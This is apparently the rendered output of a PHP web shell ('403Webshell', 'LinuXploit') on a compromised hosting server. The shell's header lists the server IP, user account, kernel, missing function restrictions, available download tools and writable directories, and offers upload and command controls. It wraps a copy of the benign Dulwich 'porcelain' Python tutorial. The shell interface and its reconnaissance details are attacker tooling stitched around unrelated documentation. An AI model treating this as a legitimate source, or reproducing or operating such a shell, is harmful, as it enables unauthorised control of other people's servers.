403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.216.63
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/self/root/usr/share/doc/python3-dulwich/tutorial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/self/root/usr/share/doc/python3-dulwich/tutorial/porcelain.txt
Porcelain
=========

The ``porcelain`` is the higher level interface, built on top of the lower
level implementation covered in previous chapters of this tutorial. The
``dulwich.porcelain`` module in Dulwich is aimed to closely resemble
the Git command-line API that you are familiar with.

Basic concepts
--------------
The porcelain operations are implemented as top-level functions in the
``dulwich.porcelain`` module. Most arguments can either be strings or
more complex Dulwich objects; e.g. a repository argument will either take
a string with a path to the repository or an instance of a ``Repo`` object.

Initializing a new repository
-----------------------------

  >>> from dulwich import porcelain

  >>> repo = porcelain.init("myrepo")

Clone a repository
------------------

  >>> porcelain.clone("git://github.com/jelmer/dulwich", "dulwich-clone")
  
Basic authentication works using the ``username`` and ``password`` parameters:

  >>> porcelain.clone(
      "https://example.com/a-private-repo.git",
      "a-private-repo-clone",
      username="user", password="password")

Commit changes
--------------

  >>> r = porcelain.init("testrepo")
  >>> open("testrepo/testfile", "w").write("data")
  >>> porcelain.add(r, "testfile")
  >>> porcelain.commit(r, b"A sample commit")

Push changes
------------

  >>> tr = porcelain.init("targetrepo")
  >>> r = porcelain.push("testrepo", "targetrepo", "master")

Youez - 2016 - github.com/yon3zu
LinuXploit